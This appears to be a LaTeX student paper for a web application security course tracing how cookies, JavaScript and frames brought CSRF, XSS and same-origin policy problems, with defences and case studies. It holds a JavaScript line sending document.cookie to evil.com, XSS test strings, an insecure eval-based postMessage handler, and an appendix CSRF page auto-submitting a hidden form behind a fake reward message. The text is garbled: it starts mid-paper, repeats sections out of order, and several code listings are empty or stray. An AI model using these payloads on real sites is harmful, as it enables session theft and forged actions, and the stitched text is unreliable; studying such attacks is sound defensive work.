}, and a few others.
This simplicity was a double‑edged sword: easy to learn and use, but it severely limited developer capabilities. However, there were no known security vulnerabilities related to HTML alone, aside from deceptive links (phishing) using misleading URLs.
\begin{table}[h]
\centering
\caption{Features and security implications of the early Web}
\label{tab:earlyweb}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}lll@{}}
\toprule
\textbf{Feature} & \textbf{Description} & \textbf{Security Impact} \
\midrule
Stateless HTTP & Each request independent & No sessions → no session theft \
GET only & Cannot send large data & Limited injection surface \
No headers & No client identification & No impersonation \
Static pages & Content does not change & No stored XSS \
\bottomrule
\end{tabular}
\end{table}
This era was a “golden age” for security in terms of few attacks, but a “stone age” in terms of functionality. The need for state and interactivity would soon drive the addition of new technologies – and with them, new vulnerabilities.
\newpage
% ==================== 3. Cookies ====================
\section{Adding State – Cookies (1994)}
\subsection{How Cookies Work}
In 1994, Netscape introduced cookies to solve the problem of remembering users across visits. The idea is simple: when a user visits a site for the first time, the server sends a \texttt{Set-Cookie} header with the HTTP response. The browser stores this value (usually a random session ID), then automatically sends it with every subsequent request to the same site via the \texttt{Cookie} header.
\textbf{Example of cookie exchange:}
\begin{lstlisting}
Server response:
HTTP/1.1 200 OK
Set-Cookie: sessionid=abc123; Path=/; HttpOnly; SameSite=Lax
Browser stores the cookie.
Next request:
GET /profile HTTP/1.1
Host: example.com
Cookie: sessionid=abc123
\end{lstlisting}
This made it possible to implement sessions – the server can remember who you are, what is in your cart, your preferences, and your login status.
\subsection{The Core Security Issue: Automatic Cross-Origin Transmission}
As stated in Lecture 02: \textit{“Client always sends along cookies in every request to the server – important: regardless of initiating site.”} This statement captures the essence of the vulnerability. When a browser sends a request to \texttt{bank.com}, it automatically attaches any cookies belonging to \texttt{bank.com} – even if the request was initiated by a completely different site, such as \texttt{evil.com}.
\textbf{Why is this dangerous?} Because \texttt{evil.com} can embed a hidden element that triggers a request to \texttt{bank.com} with your cookies, performing actions without your knowledge or consent.
\textbf{Example of a CSRF attack using a hidden image:}
\begin{lstlisting}
\end{lstlisting}
When you visit \texttt{evil.com} while logged into \texttt{bank.com}, your browser sends a GET request to \texttt{bank.com/transfer} with your session cookie. If \texttt{bank.com} does not protect this action, the transfer is executed.
\subsection{CSRF Vulnerability: Historical Example and Code}
Cross‑Site Request Forgery (CSRF) was first documented in the late 1990s, but one famous early example occurred in 2006 when researchers found a vulnerability in Google Calendar. An attacker could add or delete events on a victim’s calendar by luring the victim to a malicious page.
\textbf{Simplified vulnerable code on the server (e.g., PHP):}
\begin{lstlisting}[language=PHP]
\end{lstlisting}
\textbf{Attack page:}
\begin{lstlisting}
\end{lstlisting}
\begin{table}[h]
\centering
\caption{Modern defenses against CSRF}
\label{tab:csrf-defenses}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}ll@{}}
\toprule
\textbf{Defense} & \textbf{Description} \
\midrule
SameSite cookie attribute & \texttt{SameSite=Strict} or \texttt{Lax} prevents cookie sending on cross-site requests. \
Anti-CSRF tokens & Random token embedded in forms and validated on the server. \
Custom request headers & Require \texttt{X-Requested-With: XMLHttpRequest} for state-changing requests. \
Double-submit cookies & Send a cookie value also as a request header or parameter. \
Origin / Referer validation & Check that the \texttt{Origin} or \texttt{Referer} header matches the expected site. \
\bottomrule
\end{tabular}
\end{table}
\begin{table}[h]
\centering
\caption{Famous CSRF incidents}
\label{tab:csrf-incidents}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}lll@{}}
\toprule
\textbf{Year} & \textbf{Site} & \textbf{Impact} \
\midrule
2006 & Netflix & Adding movies to a user’s queue \
2006 & Google Calendar & Adding or deleting events \
2008 & ING Bank & Unauthorized funds transfer (theoretical) \
2018 & YouTube (legacy) & Posting comments or videos as victim \
\bottomrule
\end{tabular}
\end{table}
These examples show that CSRF was not just a theoretical problem but caused real damage across many services.
\newpage
% ==================== 4. JavaScript ====================
\section{JavaScript (1995) – Power and Weapon}
\subsection{From Mocha to ECMAScript}
In 1995, Netscape wanted to add a “glue language” to the browser to enable simple interactivity. They hired Brendan Eich, who was initially asked to implement Scheme. Instead, in just ten days, he created Mocha, later renamed LiveScript, and finally \textbf{JavaScript} – capitalising on Java’s popularity at the time. Initially limited, the language evolved rapidly.
Today, JavaScript is the most widely used programming language on the web, running in every modern browser. According to W3Techs, over 98% of all websites use JavaScript on the client side. It transformed the web from static pages into a rich application platform.
\subsection{Access to DOM and Cookies}
Using JavaScript, developers (and attackers) can do things previously impossible:
\begin{itemize}
\item Read and modify page content (DOM) dynamically.
\item Access the page’s cookies via \texttt{document.cookie}.
\item Send asynchronous HTTP requests (XMLHttpRequest – AJAX).
\item Store data locally (Web Storage, IndexedDB).
\item Control navigation, open new windows, interact with frames.
\end{itemize}
\textbf{Example of JavaScript reading cookies:}
\begin{lstlisting}[language=JavaScript]
// This code, if injected, sends all cookies to an attacker's server
var stolenCookies = document.cookie;
fetch('https://evil.com/steal?cookies=' + encodeURIComponent(stolenCookies));
\end{lstlisting}
From a security perspective, access to \texttt{document.cookie} is the greatest risk. If an attacker can execute arbitrary JavaScript on your page (via XSS), they can read your session cookies, send them to their own server, and then impersonate you completely.
\subsection{XSS Vulnerability: Types, Examples, and Mitigations}
\textbf{Cross‑Site Scripting (XSS)} occurs when a web application includes untrusted data in an HTML page without proper sanitization, and that data is executed as code in the browser.
\begin{table}[h]
\centering
\caption{Three main types of XSS}
\label{tab:xss-types}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}lll@{}}
\toprule
\textbf{Type} & \textbf{Description} & \textbf{Example} \
\midrule
Stored XSS & Malicious script saved on server and executed for every visitor. & Posting \texttt{<script>alert('XSS')</script>} in a comment. \
Reflected XSS & Malicious script comes from current HTTP request and is reflected immediately. & \texttt{https://example.com/search?q=<script>alert(1)</script>} \
DOM-based XSS & Client-side JS manipulates DOM parameters unsafely. & \texttt{var user = location.hash; document.body.innerHTML = user;} \
\bottomrule
\end{tabular}
\end{table}
\textbf{Real‑world examples:}
\begin{itemize}
\item \textbf{Samy worm on MySpace (2005):} Used stored XSS to add over one million friends in 24 hours.
\item \textbf{Twitter XSS (2014):} Reflected XSS allowed posting malicious tweets that automatically retweeted themselves.
\end{itemize}
\textbf{How to protect against XSS (defense in depth):}
\begin{enumerate}
\item \textbf{Output escaping:} Use proper escaping functions based on context. Example in PHP: \texttt{htmlspecialchars($input, ENT_QUOTES, 'UTF-8')}.
\item \textbf{Content Security Policy (CSP):} Browser mechanism to declare allowed script sources. Example: \texttt{Content-Security-Policy: script-src 'self'} blocks inline scripts.
\item \textbf{Avoid dangerous functions:} Never use \texttt{eval()}, \texttt{innerHTML}, \texttt{document.write()} with untrusted data. Use \texttt{textContent} instead.
\item \textbf{Use modern frameworks:} React escapes content by default; avoid \texttt{dangerouslySetInnerHTML}. Angular provides safe defaults.
\item \textbf{HttpOnly cookie flag:} Prevents JavaScript from accessing session cookies.
\end{enumerate}
\begin{table}[h]
\centering
\caption{XSS impact statistics (HackerOne 2022 report)}
\label{tab:xss-stats}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}ll@{}}
\toprule
\textbf{Metric} & \textbf{Value} \
\midrule
XSS reports received in 2022 & Over 10,000 \
Total bounties paid for XSS & Exceeding $5 million \
Percentage of all bug reports & Approximately 12% \
\bottomrule
\end{tabular}
\end{table}
\newpage
% ==================== 5. Frames and SOP ====================
\section{Frames and the Same-Origin Policy (SOP)}
\subsection{The Need for SOP}
In 1995/1997, frames (\texttt{}, \texttt{<iframe>}) were introduced to allow multiple independent pages within a single browser window. For example, a news site could display an advertising sidebar from an ad network and a main frame from its own domain. This saved bandwidth and improved navigation.
But from a security perspective: what if a frame from \texttt{evil.com} tries to read the content of a frame from \texttt{bank.com} inside the same browser? Without restrictions, \texttt{evil.com} could steal sensitive information. Therefore, browsers introduced the \textbf{Same-Origin Policy (SOP)}.
\subsection{How SOP Works}
SOP states that JavaScript from one \textbf{origin} (protocol + hostname + port) cannot access the DOM, cookies, or local storage of a page from a different origin.
\begin{table}[h]
\centering
\caption{Same-origin comparison examples}
\label{tab:sop}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}llll@{}}
\toprule
\textbf{First page} & \textbf{Second page} & \textbf{Same origin?} & \textbf{Reason} \
\midrule
\texttt{http://a.com/page1} & \texttt{http://a.com/page2} & Yes & Identical \
\texttt{http://a.com} & \texttt{https://a.com} & No & Different protocol \
\texttt{http://a.com} & \texttt{http://b.com} & No & Different host \
\texttt{http://a.com:80} & \texttt{http://a.com:8080} & No & Different port \
\bottomrule
\end{tabular}
\end{table}
This policy is the foundation of web security. Without it, any site you visit could read your email, bank statements, or social media feeds.
\subsection{Dangerous Exceptions: domain relaxation, CORS, postMessage}
Real‑world applications needed exceptions to SOP – but misconfigured exceptions create vulnerabilities.
\textbf{1. \texttt{document.domain} relaxation} \
Allows two subdomains (e.g., \texttt{mail.example.com} and \texttt{calendar.example.com}) to set \texttt{document.domain = "example.com"} and then interact. However, this weakens security because any subdomain can then access the other. Modern browsers restrict setting to higher-level domains, but legacy code may still be vulnerable.
\textbf{2. CORS (Cross-Origin Resource Sharing)} \
Allows a server to explicitly specify who can access its resources via the \texttt{Access-Control-Allow-Origin} header. Common misconfigurations:
\begin{itemize}
\item \texttt{Access-Control-Allow-Origin: *} with \texttt{Access-Control-Allow-Credentials: true} (disallowed but sometimes mis-implemented).
\item Reflecting any origin without validation: \texttt{Access-Control-Allow-Origin: $_SERVER['HTTP_ORIGIN']} – allows any site to read the response.
\item Using \texttt{null} as the origin, which can be forced by data URLs.
\end{itemize}
\textbf{3. \texttt{postMessage} API} \
Allows pages from different origins to exchange messages safely – but only if the receiver checks \texttt{event.origin}. Many sites forget this check or use flawed regex.
\textbf{Example of insecure \texttt{postMessage} handler:}
\begin{lstlisting}[language=JavaScript]
window.addEventListener("message", function(event) {
var data = eval(event.data); // DANGEROUS: eval on untrusted data
// No origin check!
});
\end{lstlisting}
\begin{table}[h]
\centering
\caption{SOP exceptions and risks}
\label{tab:sop-exceptions}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}lll@{}}
\toprule
\textbf{Mechanism} & \textbf{Safe usage} & \textbf{Common misuse} \
\midrule
\texttt{document.domain} & Set only to immediate parent domain & Setting to higher-level domain (e.g., \texttt{.com}) \
CORS & Return specific whitelisted origins; never \texttt{} with credentials & Returning \texttt{} or \texttt{null} without validation \
\texttt{postMessage} & Validate \texttt{event.origin} against whitelist; avoid \texttt{eval} & No validation or flawed regex (e.g., \texttt{indexOf}) \
\bottomrule
\end{tabular}
\end{table}
\textbf{Case study:} In 2013, Son and Shmatikov examined over 10,000 sites and found that 84 popular sites (including some in the Alexa Top 100) had \texttt{postMessage} vulnerabilities. Some did not check the origin at all, allowing any site to inject malicious messages.
\newpage
% ==================== 6. Real-World Case Studies ====================
\section{Real-World Case Studies}
\subsection{MySpace Samy Worm (2005) – Stored XSS}
\textbf{What happened:} Samy Kamkar created an XSS worm on MySpace. The worm added “Samy is my hero” to profiles, added the attacker as a friend, and self-replicated.
\textbf{How it worked:} MySpace filtered \texttt{<script>} tags but allowed inline JavaScript in CSS via \texttt{javascript:} URLs and \texttt{expression()} in CSS.
\textbf{Impact:} Within 20 hours, over \textbf{one million users} were infected, causing MySpace to crash temporarily.
\textbf{Lesson:} Even seemingly harmless XSS can cause massive damage. Input filtering is not enough; proper output encoding and CSP are necessary.
\subsection{Google Calendar CSRF (2006)}
\textbf{What happened:} Researchers added events to any user’s Google Calendar via CSRF. A malicious page sent a hidden request with the victim’s session cookie.
\textbf{Example attack code:}
\begin{lstlisting}
\end{lstlisting}
\textbf{Lesson:} Any web application performing sensitive actions via GET/POST without anti‑CSRF tokens is vulnerable. Modern frameworks include CSRF protection by default.
\subsection{JSONP and Rosetta Flash Attack (2014)}
\textbf{Background:} JSONP (JSON with Padding) was an old technique to bypass SOP. A site included a script from another origin, and the response called a callback function.
\textbf{Problem:} JSONP gives complete trust to the remote server.
\textbf{Rosetta Flash attack:} Discovered by Michele Spagnuolo. Many JSONP endpoints allowed attackers to control the \texttt{callback} parameter. By crafting a special ASCII‑only Flash file, the attacker could execute malicious Flash code.
\textbf{Affected services:} Google, Twitter, LinkedIn, and many others.
\textbf{Solution:} Use proper CORS instead of JSONP. Set \texttt{Content-Type: application/json} and \texttt{X-Content-Type-Options: nosniff}.
\subsection{Equifax Breach (2017) – A Modern Lesson}
Although not strictly a client‑side vulnerability, Equifax illustrates how ignoring security basics leads to disaster. Attackers exploited a vulnerability in Apache Struts (CVE-2017-5638) to steal data of 147 million people.
\textbf{Connection to this research:} The breach was caused by a \textbf{failure to apply a patch} that had been available for months. Even when defenses exist, operational practices (patching, configuration, monitoring) are equally important.
\newpage
% ==================== 7. Critical Analysis ====================
\section{Critical Analysis (Discussion)}
\subsection{Historical Design Mistakes}
Reviewing the web’s evolution, several fundamental design errors can be identified:
\begin{enumerate}
\item \textbf{Cookies – automatic transmission with every cross‑origin request:} If cookies required explicit consent for cross-site requests, CSRF would be much less common.
\item \textbf{JavaScript – no security model from the start:} SOP was added later as a patch, leading to complexity and exceptions.
\item \textbf{Frames – insufficient isolation:} Even with SOP, frames can communicate via \texttt{postMessage} or \texttt{document.domain}, and misconfigurations lead to data leakage.
\item \textbf{Error tolerance (browser wars):} Browsers became extremely lenient to accept malformed HTML and JavaScript, which helps attackers inject XSS in creative ways.
\end{enumerate}
\subsection{Does Security Catch Up with Technology? The Security Gap}
History shows a clear pattern: \textbf{each new technology precedes appropriate defenses}.
\begin{table}[h]
\centering
\caption{Security gap examples}
\label{tab:secgap}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}llll@{}}
\toprule
\textbf{Technology} & \textbf{Introduction} & \textbf{First documented attack} & \textbf{Effective defense} \
\midrule
Cookies & 1994 & CSRF ~1997 & SameSite (2016), anti-CSRF tokens \
JavaScript & 1995 & XSS ~1999 & CSP (2010), HttpOnly (2002) \
Frames & 1995–1997 & SOP bypass ~1998 & sandbox attribute (2007) \
JSONP & ~2005 & Rosetta Flash (2014) & Deprecated in favor of CORS \
\bottomrule
\end{tabular}
\end{table}
This delay is called the \textbf{security gap} – the period during which attackers are ahead. As of 2024, many legacy sites still have not adopted modern defenses.
\subsection{Timeline of Features vs. Vulnerabilities}
\begin{verbatim}
1990 – HTTP 0.9 (stateless, no sessions)
1994 – Cookies introduced
1995 – JavaScript introduced
1995-97 – Frames, SOP (basic)
1997 – First CSRF attacks documented
1999 – First XSS attacks documented
2002 – HttpOnly cookie flag introduced
2005 – Samy worm (MySpace)
2006 – Google Calendar CSRF
2010 – Content Security Policy (CSP) proposed
2014 – Rosetta Flash attack
2016 – SameSite cookie attribute introduced
2017 – Equifax breach (patch failure)
2020 – SameSite=Lax becomes default in Chrome
2024 – Ongoing adoption of modern defenses
\end{verbatim}
\subsection{Lessons for the Future}
\begin{itemize}
\item \textbf{Secure by Default:} Default settings should be secure. \texttt{SameSite=Lax} default is a correct step.
\item \textbf{Least Privilege:} Do not give JavaScript access to cookies unless necessary (use \texttt{HttpOnly}). Use \texttt{sandbox} for iframes.
\item \textbf{Input Validation and Output Encoding:} Use established libraries (DOMPurify, OWASP Java Encoder).
\item \textbf{Defense in Depth:} Combine multiple layers: CSP, CSRF tokens, secure cookies, input validation.
\item \textbf{Continuous Education:} Developers must learn about security threats.
\item \textbf{Standards Evolution:} W3C, WHATWG, and browser vendors must continue to evolve standards quickly.
\end{itemize}
\newpage
% ==================== 8. Conclusion ====================
\section{Conclusion}
The web began as a simple system for static documents and evolved into a vast application platform used by billions. Each major addition – cookies, JavaScript, frames – aimed to improve user experience but also introduced new vulnerabilities such as CSRF, XSS, and cross‑origin communication issues. These vulnerabilities were not the result of deliberate negligence, but of early engineers not foreseeing how the web would be used over the next three decades.
Today we have strong defensive tools: Content Security Policy, SameSite cookies, secure CORS configurations, CSRF tokens, and safe storage methods like \texttt{HttpOnly} and \texttt{Secure} flags. However, \textbf{awareness is the key}. Every web developer must understand this history to avoid repeating mistakes. As one researcher said, \textit{“Those who do not remember the past are condemned to repeat its vulnerabilities.”}
Looking forward, the web continues to evolve with new technologies like WebAssembly, service workers, and federated identity (e.g., WebAuthn). Each of these will bring new security challenges. The lesson from the past 30 years is clear: \textbf{security must be built in from the start, not bolted on later}. A secure web is not a destination but a continuous journey of improvement, adaptation, and education.
\newpage
% ==================== 9. Appendix ====================
\section{Appendix A: Full Code Example – CSRF Attack Simulation}
The following is a complete HTML page an attacker would host on \texttt{evil.com}. When a victim (logged into \texttt{bank.com}) visits this page, the attack executes automatically.
\textbf{File: attacker.html}
\begin{lstlisting}[language=HTML, basicstyle=\ttfamily\small]
<title>Special Offer</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; margin-top: 50px; }
.container { max-width: 600px; margin: auto; padding: 20px; border: 1px solid #ccc; border-radius: 10px; }
.warning { color: red; font-weight: bold; }
</style>
Congratulations! 🎉
You have been selected for a free reward.
Please wait while we verify your account...
(Do not close this window.)
<script>
// Automatically submit the POST form as soon as the page loads
document.getElementById('csrfForm').submit();
</script>
\end{lstlisting}
\textbf{Explanation:}
\begin{enumerate}
\item \textbf{GET request:} An invisible \texttt{![]()
} forces a GET request to \texttt{bank.com} with the victim’s cookies.
\item \textbf{POST request:} An invisible form is submitted automatically via JavaScript, again including cookies.
\item \textbf{Social engineering:} The victim sees a harmless “Congratulations” message and does not suspect the hidden attack.
\end{enumerate}
\textbf{Protection:}
\begin{itemize}
\item Use \texttt{SameSite=Strict} or \texttt{Lax} for session cookies.
\item Implement anti-CSRF tokens.
\item Do not use GET requests for state‑changing operations.
\item Validate \texttt{Origin} or \texttt{Referer} headers.
\end{itemize}
\textbf{Real‑world note:} Modern sites like Gmail, Facebook are protected against CSRF. This code is for educational purposes only.
\newpage
% ==================== 10. References ====================
\section{References}
\begin{enumerate}
\item Berners-Lee, T. (1989). \textit{Information Management: A Proposal}. CERN. (Lecture 01 PDF)
\item Hoffman, A. (2020). \textit{Web Application Security}. O’Reilly Media.
\item Mozilla Developer Network. (2024). \textit{Same-origin policy}. Retrieved from \url{https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy}
\item Son, S., & Shmatikov, V. (2013). The PostMessage Problem: A Study of Cross-Origin Communication on the Web. In \textit{Proceedings of the 2013 Network and Distributed System Security Symposium (NDSS)}.
\item Kamkar, S. (2005). \textit{Technical explanation of the MySpace worm}. Retrieved from \url{https://samy.pl/myspace/}
\item OWASP Foundation. (2021). \textit{OWASP Top 10: Cross-Site Scripting (XSS)}. Retrieved from \url{https://owasp.org/Top10/A03_2021-Injection/}
\item Spagnuolo, M. (2014). \textit{Abusing JSONP with Rosetta Flash}. Google Security Research. Retrieved from \url{https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/}
\item ACYB 240 Lecture Notes (2026). Lectures 01, 02, 03, 04. [University Name].
\item CISPA / USENIX Security Symposium. (2017). \textit{The Web’s Evolution over 20 Years: A Security Perspective}.
\item HackerOne. (2023). \textit{2022 Hacker-Powered Security Report}. Retrieved from \url{https://www.hackerone.com/reports/2022}
\item National Institute of Standards and Technology (NIST). (2020). \textit{Digital Identity Guidelines} (SP 800-63B).
\end{enumerate}
\end{document}
\documentclass[12pt,a4paper]{article}
% ==================== الحزم الأساسية ====================
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage[english]{babel}
\usepackage{geometry}
\geometry{left=2.5cm,right=2.5cm,top=2.5cm,bottom=2.5cm}
\usepackage{setspace}
\setstretch{1.3} % تباعد مريح
\usepackage{parskip}
\setlength{\parindent}{0.5cm}
\usepackage{times} % خط Times New Roman بديل
% ==================== حزم الألوان والتنسيق المتقدم ====================
\usepackage{xcolor}
\usepackage{graphicx}
\usepackage{fancyhdr}
\usepackage{lastpage}
\usepackage{titlesec}
\usepackage{booktabs}
\usepackage{array}
\usepackage{colortbl}
\usepackage{longtable}
\usepackage{caption}
\captionsetup{font=small, labelfont=bf, justification=raggedright, singlelinecheck=false}
\usepackage{hyperref}
\hypersetup{
colorlinks=true,
linkcolor=blue!50!black,
citecolor=green!50!black,
urlcolor=teal!70!black,
}
\usepackage{listings}
% ==================== تنسيق الأكواد البرمجية بألوان احترافية ====================
\definecolor{codebg}{rgb}{0.95,0.97,0.95}
\definecolor{commentcolor}{rgb}{0.2,0.6,0.2}
\definecolor{keywordcolor}{rgb}{0.2,0.2,0.8}
\definecolor{stringcolor}{rgb}{0.7,0.1,0.1}
\definecolor{numbercolor}{rgb}{0.5,0.2,0.5}
\lstset{
backgroundcolor=\color{codebg},
basicstyle=\ttfamily\small\color{black},
breaklines=true,
frame=single,
numbers=left,
numberstyle=\tiny\color{gray},
stepnumber=1,
numbersep=5pt,
tabsize=4,
captionpos=b,
commentstyle=\color{commentcolor}\itshape,
keywordstyle=\color{keywordcolor}\bfseries,
stringstyle=\color{stringcolor},
identifierstyle=\color{black},
showstringspaces=false,
literate={{}{{\textcolor{black}{${$}}}1}{}}{{\textcolor{black}{$}$}}}1,
morekeywords={function,var,let,const,if,else,for,while,return,import,from,class,extends,super,new,this,typeof,instanceof,true,false,null,undefined},
}
% لغة إضافية خاصة بـ PHP
\lstdefinelanguage{PHP}{
morekeywords={echo,isset,empty,array,foreach,while,do,if,else,elseif,return,public,private,protected,function,class,new,extends,implements,namespace,use,throw,catch,finally,try},
morecomment=[l]{//},
morecomment=[s]{/}{/},
morestring=[b]",
morestring=[b]',
}
% ==================== ترويسة وتذييل احترافي ====================
\pagestyle{fancy}
\fancyhf{}
\fancyhead[L]{\small \textsc{ACYB 240 -- Web Application Security}}
\fancyhead[R]{\small \thepage/\pageref{LastPage}}
\fancyfoot[C]{\small \textit{History of Web Threats}}
\renewcommand{\headrulewidth}{0.4pt}
\renewcommand{\footrulewidth}{0pt}
% ==================== تنسيق العناوين ====================
\titleformat{\section}{\Large\bfseries\color{blue!60!black}}{\thesection}{1em}{}
\titleformat{\subsection}{\large\bfseries\color{blue!50!black}}{\thesubsection}{1em}{}
\titleformat{\subsubsection}{\normalsize\bfseries\color{blue!40!black}}{\thesubsubsection}{1em}{}
% ==================== بيئة غلاف احترافي ====================
\newcommand{\coverpage}{
\begin{titlepage}
\centering
\vspace*{1cm}
{\Large \textsc{[Your University Name]}\[0.5cm]
\textsc{[Your Faculty/College Name]}\[0.5cm]
\textsc{[Your Department Name]}\[2cm]}
}
% ==================== بداية المستند ====================
\begin{document}
\coverpage
\tableofcontents
\newpage
% ==================== 1. مقدمة ====================
\section{Introduction}
In the early 1990s, the World Wide Web was a simple system for exchanging static text documents. Tim Berners‑Lee designed it based on HTTP 0.9 and basic HTML, where each HTTP request closed the connection and no memory of previous visits existed. This minimal design was relatively secure – there were no sessions to steal, no active scripts to exploit, and no state to manipulate. However, developers and users quickly realized that the Web needed state to build useful applications (e.g., shopping carts) and interactivity to engage users.
With every new technology added – cookies (1994), JavaScript (1995), frames (1995/1997) – the goal was to improve user experience and expand web capabilities. Yet each of these additions opened a new window for attacks. Cookies brought Cross‑Site Request Forgery (CSRF); JavaScript brought Cross‑Site Scripting (XSS); frames necessitated the Same‑Origin Policy (SOP), whose initial implementation was inconsistent and later exceptions introduced further risks.
This research traces this historical evolution, analyzes how seemingly innocent features turned into serious security vulnerabilities, and draws lessons for the future of web application security. The analysis is based primarily on the ACYB 240 lecture notes, supplemented by real‑world incidents, documented statistics, and academic papers. By understanding the past, developers can avoid repeating the same mistakes.
\newpage
% ==================== 2. Early Web ====================
\section{Early Web: Static Documents (1990–1993)}
\subsection{HTTP 0.9: A Stateless Protocol}
In 1991, HTTP 0.9 was released – an extremely simple protocol. It supported only the GET method and had no headers, neither from client nor server. After the server sent an HTML page, the connection was immediately closed. There was no mechanism for client identification or for sending additional data like forms. Each request was completely independent of previous and subsequent requests.
\textbf{Example of an HTTP 0.9 request and response:}
\begin{lstlisting}
GET /index.html
Welcome to the Web
This is a static page.
(connection closed) \end{lstlisting} This design made it impossible to implement applications like shopping carts or content personalization. However, it also made attacks like session stealing or CSRF non‑existent – simply because there were no sessions. The server had no way to distinguish one user from another, so every user received the same content.\subsection{Simple HTML: Only 18 Tags}![]()
} (images opened in separate windows). The initial specification supported only 18 tags, including: \texttt{<title>}, \texttt{
Early HTML aimed to describe document structure: headings, paragraphs, lists, and links. There was no inline \texttt{
}…\texttt{
}, \texttt{
}, \texttt{}, \texttt{
}, \texttt{- }, and a few others.
\end{lstlisting}
When you visit \texttt{evil.com} while logged into \texttt{bank.com}, your browser sends a GET request to \texttt{bank.com/transfer} with your session cookie. If \texttt{bank.com} does not protect this action, the transfer is executed.
(Do not close this window.)
<script>
// Automatically submit the POST form as soon as the page loads
document.getElementById('csrfForm').submit();
</script>
\end{lstlisting}
This simplicity was a double‑edged sword: easy to learn and use, but it severely limited developer capabilities. However, there were no known security vulnerabilities related to HTML alone, aside from deceptive links (phishing) using misleading URLs.
\begin{table}[h]
\centering
\caption{Features and security implications of the early Web}
\label{tab:earlyweb}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}lll@{}}
\toprule
\textbf{Feature} & \textbf{Description} & \textbf{Security Impact} \
\midrule
Stateless HTTP & Each request independent & No sessions → no session theft \
GET only & Cannot send large data & Limited injection surface \
No headers & No client identification & No impersonation \
Static pages & Content does not change & No stored XSS \
\bottomrule
\end{tabular}
\end{table}
This era was a “golden age” for security in terms of few attacks, but a “stone age” in terms of functionality. The need for state and interactivity would soon drive the addition of new technologies – and with them, new vulnerabilities.
\newpage
% ==================== 3. Cookies ====================
\section{Adding State – Cookies (1994)}
\subsection{How Cookies Work}
In 1994, Netscape introduced cookies to solve the problem of remembering users across visits. The idea is simple: when a user visits a site for the first time, the server sends a \texttt{Set-Cookie} header with the HTTP response. The browser stores this value (usually a random session ID), then automatically sends it with every subsequent request to the same site via the \texttt{Cookie} header.
\textbf{Example of cookie exchange:}
\begin{lstlisting}
Server response:
HTTP/1.1 200 OK
Set-Cookie: sessionid=abc123; Path=/; HttpOnly; SameSite=Lax
Browser stores the cookie.
Next request:
GET /profile HTTP/1.1
Host: example.com
Cookie: sessionid=abc123
\end{lstlisting}
This made it possible to implement sessions – the server can remember who you are, what is in your cart, your preferences, and your login status.
\subsection{The Core Security Issue: Automatic Cross-Origin Transmission}
As stated in Lecture 02: \textit{“Client always sends along cookies in every request to the server – important: regardless of initiating site.”} This statement captures the essence of the vulnerability. When a browser sends a request to \texttt{bank.com}, it automatically attaches any cookies belonging to \texttt{bank.com} – even if the request was initiated by a completely different site, such as \texttt{evil.com}.
\textbf{Why is this dangerous?} Because \texttt{evil.com} can embed a hidden element that triggers a request to \texttt{bank.com} with your cookies, performing actions without your knowledge or consent.
\textbf{Example of a CSRF attack using a hidden image:}
\begin{lstlisting}
\subsection{CSRF Vulnerability: Historical Example and Code}
Cross‑Site Request Forgery (CSRF) was first documented in the late 1990s, but one famous early example occurred in 2006 when researchers found a vulnerability in Google Calendar. An attacker could add or delete events on a victim’s calendar by luring the victim to a malicious page.
\textbf{Simplified vulnerable code on the server (e.g., PHP):}
\begin{lstlisting}[language=PHP]
\end{lstlisting}
\textbf{Attack page:}
\begin{lstlisting}
\end{lstlisting}
\begin{table}[h]
\centering
\caption{Modern defenses against CSRF}
\label{tab:csrf-defenses}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}ll@{}}
\toprule
\textbf{Defense} & \textbf{Description} \
\midrule
SameSite cookie attribute & \texttt{SameSite=Strict} or \texttt{Lax} prevents cookie sending on cross-site requests. \
Anti-CSRF tokens & Random token embedded in forms and validated on the server. \
Custom request headers & Require \texttt{X-Requested-With: XMLHttpRequest} for state-changing requests. \
Double-submit cookies & Send a cookie value also as a request header or parameter. \
Origin / Referer validation & Check that the \texttt{Origin} or \texttt{Referer} header matches the expected site. \
\bottomrule
\end{tabular}
\end{table}
\begin{table}[h]
\centering
\caption{Famous CSRF incidents}
\label{tab:csrf-incidents}
\rowcolors{2}{gray!10}{white}
\begin{tabular}{@{}lll@{}}
\toprule
\textbf{Year} & \textbf{Site} & \textbf{Impact} \
\midrule
2006 & Netflix & Adding movies to a user’s queue \
2006 & Google Calendar & Adding or deleting events \
2008 & ING Bank & Unauthorized funds transfer (theoretical) \
2018 & YouTube (legacy) & Posting comments or videos as victim \
\bottomrule
\end{tabular}
\end{table}
These examples show that CSRF was not just a theoretical problem but caused real damage across many services.
\newpage
% ==================== 4. JavaScript ====================
\section{JavaScript (1995) – Power and Weapon}
\subsection{From Mocha to ECMAScript}
In 1995, Netscape wanted to add a “glue language” to the browser to enable simple interactivity. They hired Brendan Eich, who was initially asked to implement Scheme. Instead, in just ten days, he created Mocha, later renamed LiveScript, and finally \textbf{JavaScript} – capitalising on Java’s popularity at the time. Initially limited, the language evolved rapidly.
Today, JavaScript is the most widely used programming language on the web, running in every modern browser. According to W3Techs, over 98% of all websites use JavaScript on the client side. It transformed the web from static pages into a rich application platform.
\subsection{Access to DOM and Cookies}
Using JavaScript, developers (and attackers) can do things previously impossible:
\begin{itemize}
\item Read and modify page content (DOM) dynamically.
\item Access the page’s cookies via \texttt{document.cookie}.
\item Send asynchronous HTTP requests (XMLHttpRequest – AJAX).
\item Store data locally (Web Storage, IndexedDB).
\item Control navigation, open new windows, interact with frames.
\end{itemize}
\textbf{Example of JavaScript reading cookies:}
\begin{lstlisting}[language=JavaScript]
// This code, if injected, sends all cookies to an attacker's server
var stolenCookies = document.cookie;
fetch('https://evil.com/steal?cookies=' + encodeURIComponent(stolenCookies));
\end{lstlisting}
From a security perspective, access to \texttt{document.cookie} is the greatest risk. If an attacker can execute arbitrary JavaScript on your page (via XSS), they can read your session cookies, send them to their own server, and then impersonate you completely.
